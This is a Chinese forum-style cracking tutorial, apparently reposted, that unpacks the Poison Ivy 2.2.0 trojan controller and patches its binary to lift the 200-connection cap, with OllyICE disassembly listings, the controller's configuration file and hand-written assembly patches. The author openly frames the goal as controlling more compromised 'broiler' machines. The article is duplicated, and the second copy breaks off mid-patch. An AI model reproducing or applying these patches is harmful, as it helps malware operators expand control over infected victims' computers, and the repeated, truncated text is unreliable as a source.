當(dāng)當(dāng)養(yǎng)“雞”專業(yè)戶:pi2.2.0脫殼及連接200限制去除逆向工程
互聯(lián)網(wǎng) 發(fā)布時間:2008-10-08 19:05:11 作者:佚名
我要評論

【文章標(biāo)題】: 當(dāng)當(dāng)養(yǎng)“雞”專業(yè)戶!
【文章作者】: KOOK1991
【作者郵箱】: WeKnow@163.com
【作者QQ號】: 371161181
【軟件名稱】: Poison Ivy 2.2.0
【下載地址】: http://www.poisonivy-rat.com/
【加殼方式】: 未知
【編寫語言】: Bo
【文章標(biāo)題】: 當(dāng)當(dāng)養(yǎng)“雞”專業(yè)戶!
【文章作者】: KOOK1991
【作者郵箱】: WeKnow@163.com
【作者QQ號】: 371161181
【軟件名稱】: Poison Ivy 2.2.0
【下載地址】: http://www.poisonivy-rat.com/
【加殼方式】: 未知
【編寫語言】: Borland Delphi 6.0 - 7.0
【使用工具】: OllyICE、LoadPE、ImportREC、Topo
【操作平臺】: Win9x/NT/2000/XP
【軟件介紹】: 國外知名木馬,服務(wù)端才幾KB,強!
【作者聲明】: 我是菜鳥我怕誰!??!
--------------------------------------------------------------------------------
【詳細(xì)過程】
初中的時候一直認(rèn)為擁有幾千臺肉雞才叫“黑客”。眨眼間,兩三年過去了,終于理解了“黑客”的真意,決心來看雪好
好學(xué)學(xué)。無奈高手太多,使我無地自容,近來偶有感想,便拿出來顯擺顯擺……
Poison Ivy,知道吧?很有名氣的木馬,可就不知道為啥在國內(nèi)火不起來,但我挺愛用。(受不了一些哥們,這么小的木
馬不用,成天背著幾百KB的鴿子滿天飛……)好東西總有限制,Poison Ivy 2.2.0也不例外,限制最大連接數(shù)為200。
于是我抄起了家伙,上路了……
首先,闡述一下這回的破解目標(biāo):
對Poison Ivy 2.2.0進(jìn)行逆向工程,增加自定義最大連接數(shù)的功能,以方便我們使用。讓更多的人成為養(yǎng)“雞”專業(yè)戶,
從而脫貧、致富、奔小康?。。。。?!
用PEiD查不出來殼,無奈。直接用OllyICE上,停在入口點:
005A3060 > 60 pushad
005A3061 E8 00000000 call 005A3066
005A3066 5D pop ebp
005A3067 81ED 725B4000 sub ebp, 00405B72
005A306D 64:A1 30000000 mov eax, dword ptr fs:[30]
005A3073 0FB640 02 movzx eax, byte ptr [eax 2]
005A3077 0AC0 or al, al
005A3079 74 04 je short 005A307F
005A307B 33C0 xor eax, eax
經(jīng)驗太少,看不出是什么殼:-(直接上。走過005A3060,直接用ESP定律“HE 0012FFA4”,F(xiàn)9運行,卡到這里:
005A3711 50 push eax ; PI.005A36C0
005A3712 33C0 xor eax, eax
005A3714 64:FF30 push dword ptr fs:[eax]
005A3717 64:8920 mov dword ptr fs:[eax], esp
005A371A EB 01 jmp short 005A371D
005A371C 8700 xchg dword ptr [eax], eax
005A371E 0000 add byte ptr [eax], al
005A3720 0000 add byte ptr [eax], al
005A3722 0000 add byte ptr [eax], al
005A3724 0000 add byte ptr [eax], al
F8一路向前
005A371D 0000 add byte ptr [eax], al ; 訪問違規(guī):正在寫入到[00000000]
Shift F8,來到:
7C92EAF0 8B1C24 mov ebx, dword ptr [esp]
7C92EAF3 51 push ecx
7C92EAF4 53 push ebx
7C92EAF5 E8 C78C0200 call 7C9577C1
7C92EAFA 0AC0 or al, al
7C92EAFC 74 0C je short 7C92EB0A
7C92EAFE 5B pop ebx
7C92EAFF 59 pop ecx
7C92EB00 6A 00 push 0
7C92EB02 51 push ecx
7C92EB03 E8 11EBFFFF call ZwContinue
7C92EB08 EB 0B jmp short 7C92EB15
7C92EB0A 5B pop ebx
7C92EB0B 59 pop ecx
7C92EB0C 6A 00 push 0
7C92EB0E 51 push ecx
7C92EB0F 53 push ebx
7C92EB10 E8 3DF7FFFF call ZwRaiseException
Alt F9返回:
00519B33 00B0 97510055 add byte ptr [eax 55005197], dh
00519B39 8BEC mov ebp, esp ; 來到這里
00519B3B 83C4 F0 add esp, -10
00519B3E B8 D8975100 mov eax, 005197D8
00519B43 E8 1CD0EEFF call 00406B64
00519B48 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B4D 8B00 mov eax, dword ptr [eax]
00519B4F E8 1822F7FF call 0048BD6C
00519B54 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B59 8B00 mov eax, dword ptr [eax]
00519B5B BA 989B5100 mov edx, 00519B98 ; ASCII "Poison Ivy"
00519B60 E8 FF1DF7FF call 0048B964
00519B65 8B0D 90CE5100 mov ecx, dword ptr [51CE90] ; PI.0051F368
00519B6B A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B70 8B00 mov eax, dword ptr [eax]
00519B72 8B15 E8FB5000 mov edx, dword ptr [50FBE8] ; PI.0050FC34
00519B78 E8 0722F7FF call 0048BD84
哈哈,來到OEP,很熟悉的Delphi開頭。用LoadPE修正鏡像大小,完全Dump。再打開ImportREC,OEP填上00119B38,自動查
找INT -> 獲取輸入表 -> Fix Dump,脫殼OK~~~~~
為了保險起見,再用PEiD查一下脫殼后的文件――“Borland Delphi 6.0 - 7.0”,呵呵,沒錯,就是你??!
用Dede打開脫殼后的Poison Ivy,Dede卡住了,看來作者不是吃素的。
只好用OllyICE載入脫殼后的Poison Ivy -> Ultra String Reference -> Find ASCII??戳税胩欤K于找到了一句有用的
String:
Ultra String Reference, 條目 1813
Address=0051170A
Disassembly=mov edx, 00511844
Text String=please assign a password for the connection:
Ultra String Reference, 條目 1814
Address=0051170F
Disassembly=mov eax, 0051187C
Text String=new connection
直接雙擊來到這里
005116CD |. 50 push eax ; /Parm
005116CE |. 68 7E660480 push 8004667E ; |Cmd = FIONBIO
005116D3 |. 56 push esi ; |Socket
005116D4 |. E8 D7BDF7FF call ; \ioctlsocket
005116D9 |. 81BB 3C070000>cmp dword ptr [ebx 73C], 0C8
005116E3 |. 7C 0B jl short 005116F0
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket
005116EB |. E9 F7000000 jmp 005117E7
005116F0 |> 8D45 F4 lea eax, dword ptr [ebp-C]
005116F3 |. 8B15 ACF35100 mov edx, dword ptr [51F3AC]
005116F9 |. E8 0632EFFF call 00404904
005116FE |. 803D 9DF35100>cmp byte ptr [51F39D], 0
00511705 |. 74 12 je short 00511719
00511707 |. 8D4D F4 lea ecx, dword ptr [ebp-C]
0051170A |. BA 44185100 mov edx, 00511844 ; please assign a password for the connection:
0051170F |. B8 7C185100 mov eax, 0051187C ; new connection
00511714 |. E8 AB41F2FF call 004358C4
00511719 |> 8D4D C8 lea ecx, dword ptr [ebp-38]
哈哈,眾里尋他千百度,驀然回首――小樣,你在這?。?br />
005116D9 |. 81BB 3C070000 C8000000 cmp dword ptr [ebx 73C], 0C8 ; 比較當(dāng)前連接數(shù)和0C8(就是200嘛)
005116E3 |. 7C 0B jl short 005116F0 ; 小于200則跳
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket 斷開連接
可見在005116DF處的C8000000就是最大連接數(shù),記住這個地址,后面有用的哦。
找到了判斷最大連接數(shù)的地方,可以直接把005116E3改成JMP,但有一點,假如你肉雞太多,豈不被DDos了?看來這點還不
夠,我們還得控制最大連接數(shù),也就是讓程序隨我們的意愿來自動修改005116DF處的最大連接數(shù)。考慮了半天,我決定用
Poison Ivy的配置文件Poison Ivy.ini來保存欲設(shè)的最大連接數(shù),以便我們在具體應(yīng)用時方便地修改。
先看看Poison Ivy.ini的內(nèi)容吧!
[Disclaimer] ; 軟件的啟動模式(是否顯示使用協(xié)議)
Show=1
[Placement] ; 軟件的窗口及控件的大小設(shè)置
MaximizedState=0
Top=491
Left=330
Width=744
Height=231
ConTop=145
ConLeft=110
ConWidth=650
ConHeight=380
Column0=50
Column1=90
Column2=90
Column3=80
Column4=80
Column5=60
Column6=45
Column7=63
Column8=67
Column9=50
Column10=57
DataTransfers=0
[Settings] ; 很明顯是有關(guān)控制端的配置信息,就把最大連接數(shù)存這吧
ScrSize=75
ScrBits=24
ShareTo=
ShareToSocks=
ShareSocks=0
Port=3460
Password=admin
BalloonTip=1
MinimizeTray=1
CloseTray=0
Prompt=0
PromptExit=0
SimTransfers=2
SDrounds=3
Cache=1
WindowColor=1
TimestampColor=1
KeynameColor=1
WindowName=008000
Timestamp=0000FF
Keyname=808080
PromptDelete=1
AutoRefresh=0
TreeLayout=1
AutoLookUpdates=1
AutoRemove=1
HidePW=0
[Connection] ; 配置被控端的信息1
DNS=127.0.0.1:3460,
ID=
Password=admin
Socks4=0
S4DNS=
[Startup] ; 配置被控端的信息2
Startup=0
ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}
[Installation]
Filename=
Copy=0
CopySystem=1
CopyWindows=0
Melt=0
Keylogger=0
Persistence=0
[Advanced] ; 配置被控端的信息3
ProcessMutex=)!VoqA.I4
KeyLoggerMutex=VLC9032Ca
CustomInject=0
CustomInjectProc=msnmsgr.exe
我就決定在[Settings]里添加一個子項“Crack”,用它來控制最大連接數(shù),OK,開工!?。。?br />
要在配置文件中添加最大連接數(shù)的信息,最重要的就是讀出最大連接數(shù),那我沒就必須找到程序是如何讀配置文件的。重
新回到OllyICE中看String:
Ultra String Reference, 條目 1931
Address=00514609
Disassembly=mov edx, 00514C28
Text String=settings
Ultra String Reference, 條目 2070
Address=0051591E
Disassembly=mov edx, 00516828
Text String=settings
其中有很多的Settings,我只選了兩處,因為其他的Settings都分布在這兩處附近:
00514609處:
005145EB |. 50 push eax
005145EC |. B9 5C4C5100 mov ecx, 00514C5C ; sharetosocks
005145F1 |. BA 284C5100 mov edx, 00514C28 ; settings
005145F6 |. 8B45 FC mov eax, dword ptr [ebp-4]
005145F9 |. 8B30 mov esi, dword ptr [eax]
005145FB |. FF56 04 call dword ptr [esi 4]
005145FE |. A0 A7F35100 mov al, byte ptr [51F3A7]
00514603 |. 50 push eax
00514604 |. B9 744C5100 mov ecx, 00514C74 ; sharesocks
00514609 |. BA 284C5100 mov edx, 00514C28 ; settings
0051460E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514611 |. 8B30 mov esi, dword ptr [eax]
00514613 |. FF56 14 call dword ptr [esi 14]
00514616 |. A1 7CF35100 mov eax, dword ptr [51F37C]
0051461B |. 50 push eax
0051461C |. B9 884C5100 mov ecx, 00514C88 ; port
00514621 |. BA 284C5100 mov edx, 00514C28 ; settings
00514626 |. 8B45 FC mov eax, dword ptr [ebp-4]
00514629 |. 8B30 mov esi, dword ptr [eax]
0051462B |. FF56 0C call dword ptr [esi C]
0051462E |. A1 ACF35100 mov eax, dword ptr [51F3AC]
00514633 |. 50 push eax
00514634 |. B9 984C5100 mov ecx, 00514C98 ; password
00514639 |. BA 284C5100 mov edx, 00514C28 ; settings
0051463E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514641 |. 8B30 mov esi, dword ptr [eax]
00514643 |. FF56 04 call dword ptr [esi 4]
00514646 |. A0 9AF35100 mov al, byte ptr [51F39A]
0051591E處:
005158F8 . 50 push eax
005158F9 . B9 5C685100 mov ecx, 0051685C ; sharetosocks
005158FE . BA 28685100 mov edx, 00516828 ; settings
00515903 . 8B45 F8 mov eax, dword ptr [ebp-8]
00515906 . 8B18 mov ebx, dword ptr [eax]
00515908 . FF13 call dword ptr [ebx]
0051590A . 8B55 A4 mov edx, dword ptr [ebp-5C]
0051590D . B8 B4F35100 mov eax, 0051F3B4
00515912 . E8 A9EFEEFF call 004048C0
00515917 . 6A 00 push 0
00515919 . B9 74685100 mov ecx, 00516874 ; sharesocks
0051591E . BA 28685100 mov edx, 00516828 ; settings
00515923 . 8B45 F8 mov eax, dword ptr [ebp-8]
00515926 . 8B18 mov ebx, dword ptr [eax]
00515928 . FF53 10 call dword ptr [ebx 10]
0051592B . A2 A7F35100 mov byte ptr [51F3A7], al
00515930 . 68 840D0000 push 0D84
00515935 . B9 88685100 mov ecx, 00516888 ; port
0051593A . BA 28685100 mov edx, 00516828 ; settings
0051593F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515942 . 8B18 mov ebx, dword ptr [eax]
00515944 . FF53 08 call dword ptr [ebx 8]
00515947 . A3 7CF35100 mov dword ptr [51F37C], eax
0051594C . 68 98685100 push 00516898
00515951 . 8D45 A0 lea eax, dword ptr [ebp-60]
00515954 . 50 push eax
00515955 . B9 A8685100 mov ecx, 005168A8 ; password
0051595A . BA 28685100 mov edx, 00516828 ; settings
0051595F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515962 . 8B18 mov ebx, dword ptr [eax]
00515964 . FF13 call dword ptr [ebx]
00515966 . 8B55 A0 mov edx, dword ptr [ebp-60]
具體誰是程序開始運行時讀取Poison Ivy.ini的地方,不知道。分別下斷點,0051591E在開始時斷下來,00514609在結(jié)束
時斷下來,可見0051591E是讀取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了這些,繼續(xù)??!
分析一下,程序是如何讀取Poison Ivy.ini里的內(nèi)容的:
00515930 . 68 840D0000 push 0D84 ; 壓入默認(rèn)端口
00515935 . B9 88685100 mov ecx, 00516888 ; port INI中保存端口信息的子項名稱
0051593A . BA 28685100 mov edx, 00516828 ; settings INI中保存端口信息的項名稱
0051593F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515942 . 8B18 mov ebx, dword ptr [eax]
00515944 . FF53 08 call dword ptr [ebx 8] ; 進(jìn)行讀取
00515947 . A3 7CF35100 mov dword ptr [51F37C], eax ; 把讀取的值保存到51F37C
00515930處之所以要把默認(rèn)端口壓入,是因為程序怕在讀不出配置文件中port這一子項時,使用0來做端口導(dǎo)致出錯,可
見“push 0D84”的作用是讓程序在00515944讀不出配置文件該項時采用備用值0D84。
好了,打開Topo差入100字節(jié)代碼空間,(本人懶得去找了可用空間了,還是用工具吧,100字節(jié)肯定夠用。)Topo中顯示
100字節(jié)加到了005A3A33,下面開始添加代碼:
首先,用OllyICE二進(jìn)制編輯005A3A33,加入字符串“Crack”。(別忘了在“Crack”后加“00”。)
接著,在005A3A39處添加我們的代碼:
005A3A39 68 840D0000 push 0C8 ; 壓入默認(rèn)最大連接數(shù),保存?zhèn)溆弥?00
005A3A3E B9 333A5A00 mov ecx, 005A3A33 ; ASCII "Crack" INI中保存最大連接數(shù)的子項名稱
005A3A43 BA 28685100 mov edx, 00516828 ; ASCII "Settings" INI中保存最大連接數(shù)的項名稱
005A3A48 8B45 F8 mov eax, dword ptr [ebp-8]
005A3A4B 8B18 mov ebx, dword ptr [eax]
005A3A4D FF53 08 call dword ptr [ebx 8] ; 進(jìn)行讀取
005A3A50 A3 DF165100 mov dword ptr [5116DF], eax ; 把讀取的最大連接數(shù)保存到上文提到的005116DF處,替換原來的最大連接數(shù)
方便起見,就讓程序從00515930處跳到我們這里吧,即:
00515930 . 68 840D0000 push 0D84
改為:
00515930 .- E9 04E10800 jmp 005A3A39
為了使程序正常運行我們還要在005A3A50的下面加入如下代碼:
005A3A55 68 840D0000 push 0D84 ; 把00515930原有功能修改了,最后還是要加上的,所謂“有借有還,再借不難”
005A3A5A - E9 D61EF7FF jmp 00515935 ; 回歸原位,這就相當(dāng)于臺灣再咋拗,到頭還是得回歸咱中國,呵呵:-)
OK,用OllyICE保存EXE文件,讓我來測試一下……
打開Poison Ivy.ini在[Settings]下加入Crack=0,呵呵一個也連接不上了。把Crack=0改為10000,哈哈,肉雞出現(xiàn)了??!
再把Crack=0刪除,哦~~~~,肉雞又出現(xiàn)了?。。。?!成功!?。。。?br />
最后,給有對本文興趣的朋友留個小作業(yè):繼續(xù)對00514609處進(jìn)行逆向工程,使程序可以在關(guān)閉時自動保存當(dāng)前的最大連
接數(shù)……OK,就到這把!??!
【文章作者】: KOOK1991
【作者郵箱】: WeKnow@163.com
【作者QQ號】: 371161181
【軟件名稱】: Poison Ivy 2.2.0
【下載地址】: http://www.poisonivy-rat.com/
【加殼方式】: 未知
【編寫語言】: Borland Delphi 6.0 - 7.0
【使用工具】: OllyICE、LoadPE、ImportREC、Topo
【操作平臺】: Win9x/NT/2000/XP
【軟件介紹】: 國外知名木馬,服務(wù)端才幾KB,強!
【作者聲明】: 我是菜鳥我怕誰!??!
--------------------------------------------------------------------------------
【詳細(xì)過程】
初中的時候一直認(rèn)為擁有幾千臺肉雞才叫“黑客”。眨眼間,兩三年過去了,終于理解了“黑客”的真意,決心來看雪好
好學(xué)學(xué)。無奈高手太多,使我無地自容,近來偶有感想,便拿出來顯擺顯擺……
Poison Ivy,知道吧?很有名氣的木馬,可就不知道為啥在國內(nèi)火不起來,但我挺愛用。(受不了一些哥們,這么小的木
馬不用,成天背著幾百KB的鴿子滿天飛……)好東西總有限制,Poison Ivy 2.2.0也不例外,限制最大連接數(shù)為200。
于是我抄起了家伙,上路了……
首先,闡述一下這回的破解目標(biāo):
對Poison Ivy 2.2.0進(jìn)行逆向工程,增加自定義最大連接數(shù)的功能,以方便我們使用。讓更多的人成為養(yǎng)“雞”專業(yè)戶,
從而脫貧、致富、奔小康?。。。。?!
用PEiD查不出來殼,無奈。直接用OllyICE上,停在入口點:
005A3060 > 60 pushad
005A3061 E8 00000000 call 005A3066
005A3066 5D pop ebp
005A3067 81ED 725B4000 sub ebp, 00405B72
005A306D 64:A1 30000000 mov eax, dword ptr fs:[30]
005A3073 0FB640 02 movzx eax, byte ptr [eax 2]
005A3077 0AC0 or al, al
005A3079 74 04 je short 005A307F
005A307B 33C0 xor eax, eax
經(jīng)驗太少,看不出是什么殼:-(直接上。走過005A3060,直接用ESP定律“HE 0012FFA4”,F(xiàn)9運行,卡到這里:
005A3711 50 push eax ; PI.005A36C0
005A3712 33C0 xor eax, eax
005A3714 64:FF30 push dword ptr fs:[eax]
005A3717 64:8920 mov dword ptr fs:[eax], esp
005A371A EB 01 jmp short 005A371D
005A371C 8700 xchg dword ptr [eax], eax
005A371E 0000 add byte ptr [eax], al
005A3720 0000 add byte ptr [eax], al
005A3722 0000 add byte ptr [eax], al
005A3724 0000 add byte ptr [eax], al
F8一路向前
005A371D 0000 add byte ptr [eax], al ; 訪問違規(guī):正在寫入到[00000000]
Shift F8,來到:
7C92EAF0 8B1C24 mov ebx, dword ptr [esp]
7C92EAF3 51 push ecx
7C92EAF4 53 push ebx
7C92EAF5 E8 C78C0200 call 7C9577C1
7C92EAFA 0AC0 or al, al
7C92EAFC 74 0C je short 7C92EB0A
7C92EAFE 5B pop ebx
7C92EAFF 59 pop ecx
7C92EB00 6A 00 push 0
7C92EB02 51 push ecx
7C92EB03 E8 11EBFFFF call ZwContinue
7C92EB08 EB 0B jmp short 7C92EB15
7C92EB0A 5B pop ebx
7C92EB0B 59 pop ecx
7C92EB0C 6A 00 push 0
7C92EB0E 51 push ecx
7C92EB0F 53 push ebx
7C92EB10 E8 3DF7FFFF call ZwRaiseException
Alt F9返回:
00519B33 00B0 97510055 add byte ptr [eax 55005197], dh
00519B39 8BEC mov ebp, esp ; 來到這里
00519B3B 83C4 F0 add esp, -10
00519B3E B8 D8975100 mov eax, 005197D8
00519B43 E8 1CD0EEFF call 00406B64
00519B48 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B4D 8B00 mov eax, dword ptr [eax]
00519B4F E8 1822F7FF call 0048BD6C
00519B54 A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B59 8B00 mov eax, dword ptr [eax]
00519B5B BA 989B5100 mov edx, 00519B98 ; ASCII "Poison Ivy"
00519B60 E8 FF1DF7FF call 0048B964
00519B65 8B0D 90CE5100 mov ecx, dword ptr [51CE90] ; PI.0051F368
00519B6B A1 ACCF5100 mov eax, dword ptr [51CFAC]
00519B70 8B00 mov eax, dword ptr [eax]
00519B72 8B15 E8FB5000 mov edx, dword ptr [50FBE8] ; PI.0050FC34
00519B78 E8 0722F7FF call 0048BD84
哈哈,來到OEP,很熟悉的Delphi開頭。用LoadPE修正鏡像大小,完全Dump。再打開ImportREC,OEP填上00119B38,自動查
找INT -> 獲取輸入表 -> Fix Dump,脫殼OK~~~~~
為了保險起見,再用PEiD查一下脫殼后的文件――“Borland Delphi 6.0 - 7.0”,呵呵,沒錯,就是你??!
用Dede打開脫殼后的Poison Ivy,Dede卡住了,看來作者不是吃素的。
只好用OllyICE載入脫殼后的Poison Ivy -> Ultra String Reference -> Find ASCII??戳税胩欤K于找到了一句有用的
String:
Ultra String Reference, 條目 1813
Address=0051170A
Disassembly=mov edx, 00511844
Text String=please assign a password for the connection:
Ultra String Reference, 條目 1814
Address=0051170F
Disassembly=mov eax, 0051187C
Text String=new connection
直接雙擊來到這里
005116CD |. 50 push eax ; /Parm
005116CE |. 68 7E660480 push 8004667E ; |Cmd = FIONBIO
005116D3 |. 56 push esi ; |Socket
005116D4 |. E8 D7BDF7FF call ; \ioctlsocket
005116D9 |. 81BB 3C070000>cmp dword ptr [ebx 73C], 0C8
005116E3 |. 7C 0B jl short 005116F0
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket
005116EB |. E9 F7000000 jmp 005117E7
005116F0 |> 8D45 F4 lea eax, dword ptr [ebp-C]
005116F3 |. 8B15 ACF35100 mov edx, dword ptr [51F3AC]
005116F9 |. E8 0632EFFF call 00404904
005116FE |. 803D 9DF35100>cmp byte ptr [51F39D], 0
00511705 |. 74 12 je short 00511719
00511707 |. 8D4D F4 lea ecx, dword ptr [ebp-C]
0051170A |. BA 44185100 mov edx, 00511844 ; please assign a password for the connection:
0051170F |. B8 7C185100 mov eax, 0051187C ; new connection
00511714 |. E8 AB41F2FF call 004358C4
00511719 |> 8D4D C8 lea ecx, dword ptr [ebp-38]
哈哈,眾里尋他千百度,驀然回首――小樣,你在這?。?br />
005116D9 |. 81BB 3C070000 C8000000 cmp dword ptr [ebx 73C], 0C8 ; 比較當(dāng)前連接數(shù)和0C8(就是200嘛)
005116E3 |. 7C 0B jl short 005116F0 ; 小于200則跳
005116E5 |. 56 push esi ; /Socket
005116E6 |. E8 8DBDF7FF call ; \closesocket 斷開連接
可見在005116DF處的C8000000就是最大連接數(shù),記住這個地址,后面有用的哦。
找到了判斷最大連接數(shù)的地方,可以直接把005116E3改成JMP,但有一點,假如你肉雞太多,豈不被DDos了?看來這點還不
夠,我們還得控制最大連接數(shù),也就是讓程序隨我們的意愿來自動修改005116DF處的最大連接數(shù)。考慮了半天,我決定用
Poison Ivy的配置文件Poison Ivy.ini來保存欲設(shè)的最大連接數(shù),以便我們在具體應(yīng)用時方便地修改。
先看看Poison Ivy.ini的內(nèi)容吧!
[Disclaimer] ; 軟件的啟動模式(是否顯示使用協(xié)議)
Show=1
[Placement] ; 軟件的窗口及控件的大小設(shè)置
MaximizedState=0
Top=491
Left=330
Width=744
Height=231
ConTop=145
ConLeft=110
ConWidth=650
ConHeight=380
Column0=50
Column1=90
Column2=90
Column3=80
Column4=80
Column5=60
Column6=45
Column7=63
Column8=67
Column9=50
Column10=57
DataTransfers=0
[Settings] ; 很明顯是有關(guān)控制端的配置信息,就把最大連接數(shù)存這吧
ScrSize=75
ScrBits=24
ShareTo=
ShareToSocks=
ShareSocks=0
Port=3460
Password=admin
BalloonTip=1
MinimizeTray=1
CloseTray=0
Prompt=0
PromptExit=0
SimTransfers=2
SDrounds=3
Cache=1
WindowColor=1
TimestampColor=1
KeynameColor=1
WindowName=008000
Timestamp=0000FF
Keyname=808080
PromptDelete=1
AutoRefresh=0
TreeLayout=1
AutoLookUpdates=1
AutoRemove=1
HidePW=0
[Connection] ; 配置被控端的信息1
DNS=127.0.0.1:3460,
ID=
Password=admin
Socks4=0
S4DNS=
[Startup] ; 配置被控端的信息2
Startup=0
ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}
[Installation]
Filename=
Copy=0
CopySystem=1
CopyWindows=0
Melt=0
Keylogger=0
Persistence=0
[Advanced] ; 配置被控端的信息3
ProcessMutex=)!VoqA.I4
KeyLoggerMutex=VLC9032Ca
CustomInject=0
CustomInjectProc=msnmsgr.exe
我就決定在[Settings]里添加一個子項“Crack”,用它來控制最大連接數(shù),OK,開工!?。。?br />
要在配置文件中添加最大連接數(shù)的信息,最重要的就是讀出最大連接數(shù),那我沒就必須找到程序是如何讀配置文件的。重
新回到OllyICE中看String:
Ultra String Reference, 條目 1931
Address=00514609
Disassembly=mov edx, 00514C28
Text String=settings
Ultra String Reference, 條目 2070
Address=0051591E
Disassembly=mov edx, 00516828
Text String=settings
其中有很多的Settings,我只選了兩處,因為其他的Settings都分布在這兩處附近:
00514609處:
005145EB |. 50 push eax
005145EC |. B9 5C4C5100 mov ecx, 00514C5C ; sharetosocks
005145F1 |. BA 284C5100 mov edx, 00514C28 ; settings
005145F6 |. 8B45 FC mov eax, dword ptr [ebp-4]
005145F9 |. 8B30 mov esi, dword ptr [eax]
005145FB |. FF56 04 call dword ptr [esi 4]
005145FE |. A0 A7F35100 mov al, byte ptr [51F3A7]
00514603 |. 50 push eax
00514604 |. B9 744C5100 mov ecx, 00514C74 ; sharesocks
00514609 |. BA 284C5100 mov edx, 00514C28 ; settings
0051460E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514611 |. 8B30 mov esi, dword ptr [eax]
00514613 |. FF56 14 call dword ptr [esi 14]
00514616 |. A1 7CF35100 mov eax, dword ptr [51F37C]
0051461B |. 50 push eax
0051461C |. B9 884C5100 mov ecx, 00514C88 ; port
00514621 |. BA 284C5100 mov edx, 00514C28 ; settings
00514626 |. 8B45 FC mov eax, dword ptr [ebp-4]
00514629 |. 8B30 mov esi, dword ptr [eax]
0051462B |. FF56 0C call dword ptr [esi C]
0051462E |. A1 ACF35100 mov eax, dword ptr [51F3AC]
00514633 |. 50 push eax
00514634 |. B9 984C5100 mov ecx, 00514C98 ; password
00514639 |. BA 284C5100 mov edx, 00514C28 ; settings
0051463E |. 8B45 FC mov eax, dword ptr [ebp-4]
00514641 |. 8B30 mov esi, dword ptr [eax]
00514643 |. FF56 04 call dword ptr [esi 4]
00514646 |. A0 9AF35100 mov al, byte ptr [51F39A]
0051591E處:
005158F8 . 50 push eax
005158F9 . B9 5C685100 mov ecx, 0051685C ; sharetosocks
005158FE . BA 28685100 mov edx, 00516828 ; settings
00515903 . 8B45 F8 mov eax, dword ptr [ebp-8]
00515906 . 8B18 mov ebx, dword ptr [eax]
00515908 . FF13 call dword ptr [ebx]
0051590A . 8B55 A4 mov edx, dword ptr [ebp-5C]
0051590D . B8 B4F35100 mov eax, 0051F3B4
00515912 . E8 A9EFEEFF call 004048C0
00515917 . 6A 00 push 0
00515919 . B9 74685100 mov ecx, 00516874 ; sharesocks
0051591E . BA 28685100 mov edx, 00516828 ; settings
00515923 . 8B45 F8 mov eax, dword ptr [ebp-8]
00515926 . 8B18 mov ebx, dword ptr [eax]
00515928 . FF53 10 call dword ptr [ebx 10]
0051592B . A2 A7F35100 mov byte ptr [51F3A7], al
00515930 . 68 840D0000 push 0D84
00515935 . B9 88685100 mov ecx, 00516888 ; port
0051593A . BA 28685100 mov edx, 00516828 ; settings
0051593F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515942 . 8B18 mov ebx, dword ptr [eax]
00515944 . FF53 08 call dword ptr [ebx 8]
00515947 . A3 7CF35100 mov dword ptr [51F37C], eax
0051594C . 68 98685100 push 00516898
00515951 . 8D45 A0 lea eax, dword ptr [ebp-60]
00515954 . 50 push eax
00515955 . B9 A8685100 mov ecx, 005168A8 ; password
0051595A . BA 28685100 mov edx, 00516828 ; settings
0051595F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515962 . 8B18 mov ebx, dword ptr [eax]
00515964 . FF13 call dword ptr [ebx]
00515966 . 8B55 A0 mov edx, dword ptr [ebp-60]
具體誰是程序開始運行時讀取Poison Ivy.ini的地方,不知道。分別下斷點,0051591E在開始時斷下來,00514609在結(jié)束
時斷下來,可見0051591E是讀取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了這些,繼續(xù)??!
分析一下,程序是如何讀取Poison Ivy.ini里的內(nèi)容的:
00515930 . 68 840D0000 push 0D84 ; 壓入默認(rèn)端口
00515935 . B9 88685100 mov ecx, 00516888 ; port INI中保存端口信息的子項名稱
0051593A . BA 28685100 mov edx, 00516828 ; settings INI中保存端口信息的項名稱
0051593F . 8B45 F8 mov eax, dword ptr [ebp-8]
00515942 . 8B18 mov ebx, dword ptr [eax]
00515944 . FF53 08 call dword ptr [ebx 8] ; 進(jìn)行讀取
00515947 . A3 7CF35100 mov dword ptr [51F37C], eax ; 把讀取的值保存到51F37C
00515930處之所以要把默認(rèn)端口壓入,是因為程序怕在讀不出配置文件中port這一子項時,使用0來做端口導(dǎo)致出錯,可
見“push 0D84”的作用是讓程序在00515944讀不出配置文件該項時采用備用值0D84。
好了,打開Topo差入100字節(jié)代碼空間,(本人懶得去找了可用空間了,還是用工具吧,100字節(jié)肯定夠用。)Topo中顯示
100字節(jié)加到了005A3A33,下面開始添加代碼:
首先,用OllyICE二進(jìn)制編輯005A3A33,加入字符串“Crack”。(別忘了在“Crack”后加“00”。)
接著,在005A3A39處添加我們的代碼:
005A3A39 68 840D0000 push 0C8 ; 壓入默認(rèn)最大連接數(shù),保存?zhèn)溆弥?00
005A3A3E B9 333A5A00 mov ecx, 005A3A33 ; ASCII "Crack" INI中保存最大連接數(shù)的子項名稱
005A3A43 BA 28685100 mov edx, 00516828 ; ASCII "Settings" INI中保存最大連接數(shù)的項名稱
005A3A48 8B45 F8 mov eax, dword ptr [ebp-8]
005A3A4B 8B18 mov ebx, dword ptr [eax]
005A3A4D FF53 08 call dword ptr [ebx 8] ; 進(jìn)行讀取
005A3A50 A3 DF165100 mov dword ptr [5116DF], eax ; 把讀取的最大連接數(shù)保存到上文提到的005116DF處,替換原來的最大連接數(shù)
方便起見,就讓程序從00515930處跳到我們這里吧,即:
00515930 . 68 840D0000 push 0D84
改為:
